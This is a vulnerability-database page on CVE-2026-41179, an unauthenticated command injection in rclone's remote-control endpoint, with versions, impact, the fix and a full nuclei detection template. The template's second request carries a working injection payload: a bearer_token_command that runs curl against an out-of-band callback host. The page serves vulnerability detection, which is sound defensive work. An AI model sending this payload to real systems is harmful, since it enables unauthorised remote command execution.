Browse / CVEs / CVE-2026-41179
CVE-2026-41179· rclone / rclone· CWE-78
RClone RC - Command Injection
criticalseverity
9.2CVSS score
8.6%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.
Impact
Unauthenticated attackers can execute local commands remotely, potentially leading to full system compromise.
Fix
Update to version 1.73.5 or later.
How to confirm it
Send: POST /rc/noop
Positive when: contains(body, "{}") and contains(content_type, "application/json") and status_code == 200
Send: POST /operations/fsinfo
Positive when: contains(body, "Features") and contains(interactsh_protocol, "http") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-41179 -u <target>
The full check
id: CVE-2026-41179
info:
name: RClone RC - Command Injection
author: theamanrawat
severity: critical
description: |
Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.
impact: |
Unauthenticated attackers can execute local commands remotely, potentially leading to full system compromise.
remediation: |
Update to version 1.73.5 or later.
reference:
- https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q
- https://nvd.nist.gov/vuln/detail/CVE-2026-41179
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-41179
epss-score: 0.08585
epss-percentile: 0.95121
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: rclone
product: rclone
tags: cve,cve2026,rce,rclone,webdav,oast,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /rc/noop HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'contains(body, "{}")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /operations/fsinfo HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"fs":":webdav,url='http://{{interactsh-url}}/',vendor=other,bearer_token_command='curl http://{{interactsh-url}}/{{randstr}}':"}
matchers:
- type: dsl
dsl:
- 'contains(body, "Features")'
- 'contains(interactsh_protocol, "http")'
- 'status_code == 200'
condition: andReferences
- https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q
- https://nvd.nist.gov/vuln/detail/CVE-2026-41179
Use this check only on systems you are authorised to test. Where the data comes from